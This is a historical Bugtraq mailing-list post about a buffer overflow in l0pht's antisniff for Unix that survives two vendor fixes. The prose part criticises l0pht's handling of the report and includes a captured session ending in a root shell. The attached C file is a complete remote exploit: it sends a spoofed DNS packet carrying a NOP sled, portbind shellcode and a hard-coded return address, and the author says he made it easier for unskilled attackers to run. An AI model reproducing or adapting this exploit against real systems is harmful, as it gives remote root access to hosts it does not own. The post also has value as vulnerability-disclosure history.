[14955] in bugtraq
antisniff latest ("two times fixed") version still exploitable,
daemon@ATHENA.MIT.EDU (Sebastian)
Fri May 19 17:43:20 2000
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="IJpNTDwzlM2Ie8A6"
Message-Id: <20000518202153.A10899@nb.in-berlin.de>
Date: Thu, 18 May 2000 20:21:53 +0200
Reply-To: Sebastian <scut@NB.IN-BERLIN.DE>
From: Sebastian <scut@NB.IN-BERLIN.DE>
X-To: bugtraq@securityfocus.com, mudge@l0pht.com, tesopub@coredump.cx
To: BUGTRAQ@SECURITYFOCUS.COM
--IJpNTDwzlM2Ie8A6
Content-Type: text/plain; charset=us-ascii
Hi.
This email includes personal opinions that might touch the feelings of some
persons, but I cannot post this without some anger in my heart, so read on.
The story about this bug started some days ago, when someone notified l0pht
of a buffer overflow vulnerability in antisniff. Though this vulnerability
is unlikely to be exploited in the wild it shows that no vendor, even the
security conscious are safe from accidently creating overflowable code.
l0pht issued an update, that should fix the problem.
The advisory of l0pht contained one sentence "The fix is as trivial as".
Maybe not as trivial as they thought, because not only this fix is broken,
but also the second one, which was issued yesterday in response to my
exploit post. The latest version of l0pht Antisniff (at least the unix
version) is vulnerable to the same buffer overflow even after two fixes.
This shows two things, namely a) that nobody, even the "known experts" are
safe from creating simple bugs which result in security holes, and b) that
you shouldn't go for "just add a *n* into those str* functions and every-
thing will be ok" mentality.
But it's ok, everyone is allowed to make errors. What got me a bit angry
was the comment I read today on their website regarding my exploit. It
was "reported not to work", and my supplied information "was invalid".
I made one error in my post, that I admit, and thats I messed up with the
different version numbering of the unix and the windows version. I haven't
checked the windows version of antisniff for vulnerability, but the latest
unix version (which was already "fixed") was vulnerable at the time of post,
and thats what I meant. I'm sorry if that confused some people.
The other point that the exploit doesn't work is maybe because it requires
some fiddling with the offset and such. I didn't had the time nor the will
to make the exploit more foolproof, so even the dumbest script kiddie can
use it without having to try a couple of times. But in regard to the comment
on the website I modified the exploit a bit, now it should work against
all versions of antisniff for unix (up to and including 1-1-1) on a linux/x86
box. If not you only have to do small mods to the offset and it should be
ok. But don't claim it doesn't work unless you've checked in the debugger
and see how the return address isn't overwritten. Thanks.
For all that still don't believe, here is a little snapshot:
(... == victim ip, removed, against x86/linux 2.2.x box with antisniff 1-1-1)
foo:~ # ./l0phtl0phe 1.1.1.1 ...
exploitation succeeded.
try: "telnet ... 17664" now.
foo:~ # telnet ... 17664
Trying ... ...
Connected to ... .
Escape character is '^]'.
id;
uid=0(root) gid=0(root) groups=0(root)
: command not found
exit;
Connection closed by foreign host.
foo:~ #
I feel that l0pht is allowed to make errors too, but they shouldn't be such
contraproductive against people that point out security holes in their
products by downsizing the claims and putting the stuff as "not working",
just because it requires some work.
ciao and regards,
scut / teso
--
- scut@nb.in-berlin.de - http://nb.in-berlin.de/scut/ --- you don't need a --
-- lot of people to be great, you need a few great to be the best ------------
http://3261000594/scut/pgp - 5453 AC95 1E02 FDA7 50D2 A42D 427E 6DEF 745A 8E07
-- data in VK/USA Mayfly experienced, awaiting transfer location, hi echelon -
--IJpNTDwzlM2Ie8A6
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="l0phtl0phe-kid.c"
/* l0phtl0phe.c - antisniff exploit (1-1-1 "second fixed version" included)
*
* -scut/teso
*
* gcc -o l0phtl0phe l0phtl0phe.c -Wall -lnet `libnet-config --defines`
*
* description:
* l0pht messed up the fix for their problem in antisniff by not regarding
* the type signedness properties of the char and int values used. this
* results in a cool method bypassing the too extra checks (length + strncat).
* some work on this topic have been done by mixter, (bad results on type
* casting), but it should be obvious to any security conscious programmers.
* i'm not stating that they aren't allowed errors, but they should fix it
* for sure if they're going to fix it at all. -sc.
*
* 2nd version: script kiddie proof to avoid that "doesn't work" lamer claim.
*
* greetings to all teso, lam3rz, hert, adm, w00w00 and lsd ppl.
*/
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <arpa/nameser.h>
#include <libnet.h>
#define OFFSET 0xbffef9a0
unsigned int build_xp (unsigned char *xp);
int
main (int argc, char *argv[])
{
int sock; /* raw socket */
u_long src_ip,
dst_ip;
unsigned char xpbuf[1024]; /* this one gets complicated now */
unsigned char tpack[2048]; /* paket buffer */
unsigned int pl_len;
if (argc != 3) {
printf ("usage: %s <source ip> <dest ip>\n\n", argv[0]);
exit (EXIT_FAILURE);
}
sock = libnet_open_raw_sock (IPPROTO_RAW);
if (sock == -1) {
perror ("libnet_open_raw_sock");
exit (EXIT_FAILURE);
}
src_ip = libnet_name_resolve (argv[1], 0);
dst_ip = libnet_name_resolve (argv[2], 0);
pl_len = build_xp (xpbuf);
libnet_build_ip (UDP_H + DNS_H + pl_len, 0, 7350, 0, 2, IPPROTO_UDP,
src_ip, dst_ip, NULL, 0, tpack);
libnet_build_udp (libnet_get_prand (PRu16), 53, NULL, 0,
tpack + IP_H);
libnet_build_dns (libnet_get_prand (PRu16), 0x0000, 1, 0, 0, 0,
xpbuf, pl_len, tpack + IP_H + UDP_H);
libnet_do_checksum (tpack, IPPROTO_UDP, UDP_H + DNS_H + pl_len);
/* they use "udp and dst port 53" as bpf, so we should have no problem
*/
libnet_write_ip (sock, tpack, UDP_H + IP_H + DNS_H + pl_len);
libnet_close_raw_sock (sock);
printf ("exploitation succeeded.\n");
printf ("try: \"telnet %s 17664\" now.\n", argv[2]);
exit (EXIT_SUCCESS);
}
/* build_xp
*
* build exploit buffer into buffer pointed to by `xp'.
*/
unsigned int
build_xp (unsigned char *xp)
{
int i;
unsigned char buf[1024];
unsigned char shellcode[] =
/* portshell 17644 portshellcode by smiler & scut */
"\x31\xc0\xb0\x02\xcd\x80\x09\xc0\x74\x06\x31\xc0"
"\xfe\xc0\xcd\x80\xeb\x76\x5f\x89\x4f\x10\xfe\xc1"
"\x89\x4f\x0c\xfe\xc1\x89\x4f\x08\x8d\x4f\x08\xfe"
"\xc3\xb0\x66\xcd\x80\xfe\xc3\xc6\x47\x10\x10\x66"
"\x89\x5f\x14\x88\x47\x08\xb0\x45\x66\x89\x47\x16"
"\x89\x57\x18\x8d\x4f\x14\x89\x4f\x0c\x8d\x4f\x08"
"\xb0\x66\xcd\x80\x89\x5f\x0c\xfe\xc3\xfe\xc3\xb0"
"\x66\xcd\x80\x89\x57\x0c\x89\x57\x10\xfe\xc3\xb0"
"\x66\xcd\x80\x31\xc9\x88\xc3\xb0\x3f\xcd\x80\xfe"
"\xc1\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80\x31"
"\xd2\x88\x57\x07\x89\x7f\x0c\x89\xfb\x8d\x4f\x0c"
"\xb0\x0b\xcd\x80\x31\xc0\x99\x31\xdb\x31\xc9\xe8"
"\x7e\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
unsigned char head[] =
"\x07-7350-\x00\xfe";
memcpy (buf, head, 9);
for (i = 9 ; i < (sizeof (buf) - strlen (shellcode)) ; ++i)
buf[i] = '\x90';
memcpy (buf + sizeof (buf) - strlen (shellcode), shellcode,
strlen (shellcode));
buf[272] = '\xeb';
buf[273] = '\x08';
buf[274] = (OFFSET ) & 0xff;
buf[275] = (OFFSET >> 8) & 0xff;
buf[276] = (OFFSET >> 16) & 0xff;
buf[277] = (OFFSET >> 24) & 0xff;
memcpy (xp, buf, sizeof (buf));
return (sizeof (buf));;
}
--IJpNTDwzlM2Ie8A6--